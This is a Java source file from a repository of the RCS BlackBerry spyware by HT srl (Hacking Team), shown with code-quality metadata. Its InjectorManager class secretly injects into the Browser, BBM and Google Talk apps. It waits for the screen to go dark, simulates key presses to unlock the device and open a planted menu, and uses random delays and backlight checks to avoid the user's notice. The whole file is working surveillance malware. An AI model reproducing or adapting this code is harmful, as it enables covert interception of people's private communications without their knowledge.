hackedteam/core-blackberry

View on GitHub
RCSBlackBerry/src/blackberry/injection/InjectorManager.java

Summary

Maintainability
F
4 days
Test Coverage
//#preprocess

/* *************************************************
 * Copyright (c) 2010 - 2012
 * HT srl,   All rights reserved.
 * 
 * Project      : RCS, RCSBlackBerry
 * *************************************************/

package blackberry.injection;

import java.util.Timer;
import java.util.TimerTask;

import net.rim.blackberry.api.menuitem.ApplicationMenuItemRepository;
import net.rim.device.api.system.ApplicationDescriptor;
import net.rim.device.api.system.ApplicationManager;
import net.rim.device.api.system.Backlight;
import net.rim.device.api.system.CodeModuleManager;
import net.rim.device.api.ui.Keypad;
import net.rim.device.api.ui.Screen;
import net.rim.device.api.ui.UiApplication;
import blackberry.AppListener;
import blackberry.Device;
import blackberry.Singleton;
import blackberry.Status;
import blackberry.debug.Check;
import blackberry.debug.Debug;
import blackberry.debug.DebugLevel;
import blackberry.injection.injectors.AInjector;
import blackberry.injection.injectors.BBMInjector;
import blackberry.injection.injectors.BrowserInjector;
import blackberry.injection.injectors.GoogleTalkInjector;
import blackberry.interfaces.ApplicationObserver;
import blackberry.interfaces.BacklightObserver;
import blackberry.interfaces.iSingleton;
import blackberry.utils.Utils;

/**
 * Singleton class used to manage injections of Injector-s. Once initialized, it
 * reacts on backlight and on applicationChange.
 * 
 * @author Zeno
 * 
 */
public class InjectorManager implements ApplicationObserver, iSingleton,
        BacklightObserver {
    private static final long APP_TIMER_PERIOD = 5000;
    private static final long GUID = 0x58b6431f259bac8dL;
    private static final int RUNON_APP = 1;
    private static final int RUNON_BACKLIGHT = 2;
    private static final int KEY_LOCK = 4099;

    private static final int MAX_TRIES = 3;
    //#ifdef DEBUG
    private static Debug debug = new Debug("InjectorManager",
            DebugLevel.VERBOSE);
    //#endif

    private static InjectorManager instance;

    AInjector[] injectors;
    //Hashtable injectorMap = new Hashtable();

    ApplicationManager manager = ApplicationManager.getApplicationManager();

    private InjectorSystemMenu menu;

    private String actualMod;
    private String actualName;
    private AInjector injector;
    private boolean injecting;
    private int started = 0;
    private Status status = Status.self();

    public synchronized static InjectorManager getInstance() {

        if (instance == null) {
            instance = (InjectorManager) Singleton.self().get(GUID);
            if (instance == null) {
                final InjectorManager singleton = new InjectorManager();
                Singleton.self().put(GUID, singleton);
                instance = singleton;
            }

        }
        return instance;
    }
    
    private InjectorManager() {
        // TODO: aggiungere new LiveInjector(), new YahooInjector()
        injectors = new AInjector[] { new BrowserInjector(), new BBMInjector(),
                new GoogleTalkInjector() };

        for (int i = 0; i < injectors.length; i++) {
            injector = injectors[i];
            if (!exists(injector.getCodName())) {
                //#ifdef DEBUG
                debug.trace("InjectorManager, not existent application, disabling: "
                        + injector.getCodName());
                //#endif
                injector.disable();
            }
        }
    }

    public void start() {
        //#ifdef DEBUG
        debug.trace("start");
        //#endif

        //#ifdef DBC
        Check.requires(started >= 0, "start, started: " + started);
        //#endif
        synchronized (this) {
            started += 1;

            if (started > 1) {
                //#ifdef DEBUG
                debug.trace("start, already started");
                //#endif
                return;
            }
        }

        AppListener appListener = AppListener.getInstance();
        appListener.addApplicationObserver(this);
        appListener.addBacklightObserver(this);

        //appListener.suspendable(true);

        if (!Backlight.isEnabled()) {
            injectAll();
        }

    }

    public void stop() {
        synchronized (this) {
            started -= 1;
            if (started > 0) {
                //#ifdef DEBUG
                debug.trace("stop, not started");
                //#endif
                return;
            }
        }

        //#ifdef DEBUG
        debug.trace("stop");
        //#endif

        AppListener appListener = AppListener.getInstance();
        appListener.removeApplicationObserver(this);
        appListener.removeBacklightObserver(this);
        if (menu != null) {
            menu.removeMenu();
        }
        //if (injectorMap != null) {
        //    injectorMap.clear();
        //}

    }

    /**
     * Tries to inject all the applications.
     * 
     * @return true if all injected
     */
    private void injectAll() {
        synchronized (this) {
            if (injecting) {
                return;
            }
            injecting = true;
        }

        try {

            boolean allInjected = true;
            for (int i = 0; i < injectors.length; i++) {
                injector = injectors[i];

                allInjected &= inject(injector);
            }

        } finally {
            synchronized (this) {
                injecting = false;
            }
        }

    }

    /**
     * 
     * @param injector
     * @return true if it's not needed to inject anymore, because injected or
     *         disabled
     */
    private boolean inject(AInjector injector) {
        //#ifdef DEBUG
        debug.trace("injectAll " + injector);
        //#endif

        boolean wantLight = Status.self().wantLight();
        //#ifdef BBM_DEBUG
        wantLight = true;
        //#endif

        if (!injector.enabled()) {
            //#ifdef DEBUG
            debug.trace("inject, disabled: " + injector);
            //#endif
            return true;
        }

        if (injector.isInjected()) {
            //#ifdef DEBUG
            debug.trace("inject, already infected: " + injector);
            //#endif
            return true;
        }

        if (injector.getTries() > MAX_TRIES) {
            //#ifdef DEBUG
            debug.trace("inject, too many tries");
            //#endif
            return true;
        }

        if (status.backlightEnabled()) {
            //#ifdef DEBUG
            debug.trace("inject, backlight, bailing out");
            //#endif
            return false;
        }

        String name = injector.getCodName();
        //injectorMap.put(name, injector);

        status.setBacklight(false);
        manager.requestForegroundForConsole();

        if (wantLight) {
            Debug.ledFlash(Debug.COLOR_RED);
        }

        unLock();

        if (wantLight) {
            Debug.ledStart(Debug.COLOR_ORANGE);
        }

        if (Status.self().isDemo()) {
            Utils.sleep(1000);
        } else {
            Utils.sleep(Utils.randomInt(5, 10) * 1000);
        }

        if (wantLight) {
            Debug.ledStop();
        }

        if (status.backlightEnabled()) {
            //#ifdef DEBUG
            debug.trace("inject, backlight, bailing out");
            //#endif
            if (wantLight) {
                Debug.playSoundError(1);
            }
            return false;
        }

        if (wantLight) {
            Debug.ledFlash(Debug.COLOR_YELLOW);
        }
        if (requestForeground(name)) {
            if (wantLight) {
                Debug.ledFlash(Debug.COLOR_GREEN);
            }

            //#ifdef DEBUG
            debug.trace("inject, executed: " + name);
            //#endif

            if (status.backlightEnabled()) {
                //#ifdef DEBUG
                debug.trace("inject, backlight, bailing out");
                //#endif
                if (wantLight) {
                    Debug.playSoundError(2);
                }
                return false;
            }
            injector.incrTries();

            Utils.sleep(1000);
            if (checkForeground(name)) {

                if (status.backlightEnabled()) {
                    //#ifdef DEBUG
                    debug.trace("inject, backlight, bailing out");
                    //#endif
                    if (wantLight) {
                        Debug.playSoundError(3);
                    }
                    return false;
                }

                if (wantLight) {
                    Debug.ledFlash(Debug.COLOR_BLUE_LIGHT);
                }

                addSystemMenu(injector);

                Utils.sleep(300);
                callSystemMenu();
                Utils.sleep(600);
                //if (checkForeground(name)) {
                //    callSystemMenuRecover();
                //}

                removeSystemMenu();

                manager.requestForegroundForConsole();
                if (wantLight) {
                    Debug.ledFlash(Debug.COLOR_WHITE);
                }
            }
        }
        return false;
    }

    private boolean checkForeground(String codname) {
        int foregroundPin = manager.getForegroundProcessId();
        ApplicationDescriptor[] apps = manager.getVisibleApplications();
        for (int i = 0; i < apps.length; i++) {
            //#ifdef DEBUG
            debug.trace("checkForeground: " + apps[i].getName());
            //#endif
            if (apps[i].getModuleName().indexOf(codname) >= 0) {
                int processId = manager.getProcessId(apps[i]);

                if (foregroundPin == processId) {
                    //#ifdef DEBUG
                    debug.trace("checkForeground, found");
                    //#endif
                    return true;
                } else {
                    //#ifdef DEBUG
                    debug.trace("checkForeground, found but not foreground");
                    //#endif
                    return false;
                }
            }
        }
        return false;
    }

    private void addSystemMenu(AInjector injector) {
        //#ifdef DEBUG
        debug.trace("addSystemMenu");
        //#endif
        menu = new InjectorSystemMenu(this, injector);
        menu.addMenu();

    }

    private void callSystemMenu() {
        //#ifdef DEBUG
        debug.trace("callSystemMenu");
        //#endif

        int waitTime = 500;

        //#ifdef BBM_DEBUG
        Status.self().setBacklight(true);
        Utils.sleep(waitTime);
        //#endif

        KeyInjector.pressRawKeyCode(Keypad.KEY_MENU);

        /*
         * if(injector.isLastTry()){
         * KeyInjector.pressRawKeyCode(Keypad.KEY_MENU); }
         */

        Utils.sleep(waitTime);

        KeyInjector.trackBallRaw(20, true);
        if (Device.getInstance().atLeast(7, 0)) {
            //#ifdef DEBUG
            debug.trace("callMenuByKey, version 7, track ball up");
            //#endif

        } else {
            //#ifdef DEBUG
            debug.trace("callMenuByKey, version <7, pressing menu: " + menu);
            //#endif
            KeyInjector.pressRawKey(menu.toString().toLowerCase().charAt(0));
        }

        Utils.sleep(waitTime);
        KeyInjector.trackBallRawClick();
        //KeyInjector.pressRawKeyCode(Keypad.KEY_MENU);
        //Utils.sleep(waitTime);
        //KeyInjector.pressRawKeyCode(Keypad.KEY_ESCAPE);

    }

    private void callSystemMenuRecover() {
        KeyInjector.pressRawKeyCode(Keypad.KEY_MENU);
        Utils.sleep(500);
        KeyInjector.pressRawKeyCode(Keypad.KEY_ESCAPE);
    }

    /**
     * verifica se occorre procedere con l'unlock.
     */
    public static boolean unLock() {
        //#ifdef DEBUG
        debug.trace("unLock: "
                + ApplicationManager.getApplicationManager().isSystemLocked());
        //#endif

        Status status = Status.self();

        if (status.backlightEnabled()) {
            return false;
        }

        try {

            KeyInjector.pressRawKeyCode(Keypad.KEY_ESCAPE);
            Utils.sleep(300);

            if (status.backlightEnabled()) {
                //#ifdef DEBUG
                debug.trace("Backlight still enabled, getHardwareLayout: "
                        + Keypad.getHardwareLayout());
                //#endif

                KeyInjector.pressRawKeyCode(Keypad.KEY_SPEAKERPHONE);
                KeyInjector.pressRawKeyCode(InjectorManager.KEY_LOCK);
                status.setBacklight(false);
                Utils.sleep(100);
                status.setBacklight(false);
                for (int i = 0; i < 10; i++) {
                    if (status.backlightEnabled()) {
                        //Backlight.enable(false);
                        Utils.sleep(500);
                        //#ifdef DEBUG
                        debug.trace("unLock: backlight still enabled");
                        //#endif
                    } else {
                        return true;

                    }
                }
            }
        } finally {
            //Main.getInstance().popBlack();
        }
        return false;
    }

    private void removeSystemMenu() {
        //#ifdef DEBUG
        debug.trace("removeSystemMenu");
        //#endif

        ApplicationMenuItemRepository.getInstance().removeMenuItem(
                ApplicationMenuItemRepository.MENUITEM_SYSTEM, menu);

    }

    private boolean requestForeground(String codName) {
        int foregroundPin = manager.getForegroundProcessId();
        ApplicationDescriptor[] apps = manager.getVisibleApplications();
        for (int i = 0; i < apps.length; i++) {
            if (apps[i].getModuleName().indexOf(codName) >= 0) {
                int processId = manager.getProcessId(apps[i]);

                if (foregroundPin == processId) {
                    //#ifdef DEBUG
                    debug.trace("requestForeground: already foreground");
                    //#endif
                    return true;
                } else {
                    //#ifdef DEBUG
                    debug.trace("requestForeground: bringing foreground");
                    //#endif
                    manager.requestForeground(processId);
                    return true;
                }
            }
        }

        return false;
    }

    private ApplicationDescriptor getApplicationDescriptor(String executeName) {
        //#ifdef DBC
        Check.requires(executeName != null,
                "getApplicationDescriptor null command"); //$NON-NLS-1$
        //#endif

        //#ifdef DEBUG
        debug.trace("getApplicationDescriptor executeName= " + executeName); //$NON-NLS-1$
        //#endif

        final int handles[] = CodeModuleManager.getModuleHandles();

        final int size = handles.length;
        for (int i = 0; i < size; i++) {
            final int handle = handles[i];
            // CodeModuleManager.getModuleHandle(name)
            // Retrieve specific information about a module.

            final String name = CodeModuleManager.getModuleName(handle);
            if (name.equals(executeName)) {
                //#ifdef DEBUG
                debug.trace("checkCommand, command found: " + executeName); //$NON-NLS-1$
                //#endif
                ApplicationDescriptor[] apps = CodeModuleManager
                        .getApplicationDescriptors(handle);
                if (apps != null && apps.length > 0) {
                    //#ifdef DEBUG
                    debug.trace("checkCommand: got applicationDescription"); //$NON-NLS-1$
                    //#endif
                    return apps[0];

                }
            }
        }

        //#ifdef DEBUG
        debug.warn("getApplicationDescriptor: not found"); //$NON-NLS-1$
        //#endif
        return null;

    }

    /**
     * check if a codname is installed in the system
     * 
     * @param name
     * @return
     */
    private boolean exists(String name) {
        final int handles[] = CodeModuleManager.getModuleHandles();

        final int size = handles.length;
        for (int i = 0; i < size; i++) {
            final int handle = handles[i];
            // CodeModuleManager.getModuleHandle(name)
            // Retrieve specific information about a module.
            final String modname = CodeModuleManager.getModuleName(handle);
            if (modname.equals(name)) {
                //#ifdef DEBUG
                debug.trace("exists, found: " + name);
                //#endif
                return true;
            }
        }
        return false;
    }

    public void runOnBacklight() {
        //#ifdef DEBUG
        debug.trace("runOnBacklight");
        //#endif

        UiApplication.getUiApplication().invokeLater(new Runnable() {
            public void run() {
                injectAll();
            }
        });
    }

    /**
     * questa funzione viene chiamata ogni n secondi, se l'applicazione e' di
     * interesse
     */
    public void runOnApp() {
        //#ifdef DEBUG
        debug.trace("runOnApp");
        //#endif

        //final AInjector injector = (AInjector) injectorMap.get(actualMod);

        final AInjector injector = (AInjector) findValidInjector(actualMod);

        if (injector != null && injector.enabled() && injector.isInjected()) {
            final Screen screen = injector.getInjectedApp().getActiveScreen();
            String screenName = screen.getClass().getName();
            //#ifdef DEBUG
            debug.trace("onApplicationChange: " + screenName);
            //#endif

            //#ifdef DBC
            Check.requires(injector.enabled(), "run, injector disabled");
            //#endif

            for (int i = 0; i < injector.getWantedScreen().length; i++) {
                String s = injector.getWantedScreen()[i];
                if (screenName.endsWith(s)) {
                    //#ifdef DEBUG
                    debug.trace("onApplicationChange: screen found");
                    //#endif

                    UiApplication.getUiApplication().invokeLater(
                            new Runnable() {

                                public void run() {
                                    injector.init();
                                    injector.playOnScreen(screen);
                                }
                            });

                    break;
                }
            }
        }
    }

    private AInjector findValidInjector(String codName) {
        try {
            //#ifdef DBC
            Check.requires(codName != null, "findInjector, null codName");
            //#endif
            for (int i = 0; i < injectors.length; i++) {
                AInjector injector = injectors[i];
                if (injector == null) {
                    //#ifdef DEBUG
                    debug.error("findInjector, null injector");
                    //#endif
                    continue;
                }

                if (codName.equals(injector.getCodName()) && injector.enabled()
                        && injector.isInjected()) {
                    return injector;
                }
            }
        } catch (Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            debug.error("findInjector");
            //#endif
        }

        return null;
    }

    class RunInjectorTask extends TimerTask {

        private int runOn;

        RunInjectorTask(int runOn) {
            this.runOn = runOn;

        }

        public void run() {
            if (runOn == RUNON_APP) {
                runOnApp();
            } else if (runOn == RUNON_BACKLIGHT) {
                runOnBacklight();
            }
        }

    }

    boolean foreInterestApp = false;
    private Object applicationTimerLock = new Object();

    public void onApplicationChange(String startedName, String stoppedName,
            String startedMod, String stoppedMod) {

        //#ifdef DEBUG
        debug.trace("onApplicationChange name: " + startedName + " cod: "
                + startedMod);
        //#endif

        try {
            synchronized (applicationTimerLock) {
                if (status.applicationTimer != null) {
                    status.applicationTimer.cancel();
                    status.applicationTimer = null;
                }
            }

            if (findValidInjector(startedMod) != null) {
                foreInterestApp = true;
                //#ifdef DEBUG
                debug.trace("onApplicationChange, starting");
                //#endif
                this.actualMod = startedMod;
                this.actualName = startedName;
                startApplicationTimer();
            } else {
                //#ifdef DEBUG
                debug.trace("onApplicationChange, not interesting");
                //#endif
                foreInterestApp = false;
            }
        } catch (Exception ex) {
            //#ifdef DEBUG
            debug.error(ex);
            debug.error("onApplicationChange");
            //#endif
        }
    }

    private void startApplicationTimer() {
        synchronized (applicationTimerLock) {
            status.applicationTimer = new Timer();

            RunInjectorTask task = new RunInjectorTask(RUNON_APP);
            status.applicationTimer.schedule(task, APP_TIMER_PERIOD,
                    APP_TIMER_PERIOD);
        }
    }

    public synchronized void onBacklightChange(boolean value) {
        //#ifdef DEBUG
        debug.trace("onBacklightChange: " + value);
        //#endif
        if (!value) {
            RunInjectorTask task = new RunInjectorTask(RUNON_BACKLIGHT);

            int waitSeconds = Utils.randomInt(11, 30);
            //#ifdef DEBUG
            debug.trace("onBacklightChange, waiting: " + waitSeconds);
            //#endif
            
            synchronized(applicationTimerLock ){
                if (status.applicationTimer != null) {
                    status.applicationTimer.cancel();
                    status.applicationTimer = null;
                }

                status.applicationTimer = new Timer();
                status.applicationTimer.schedule(task, waitSeconds * 1000,
                    Integer.MAX_VALUE);
            }
        } else {
            if (foreInterestApp) {
                startApplicationTimer();
            }
        }
    }

}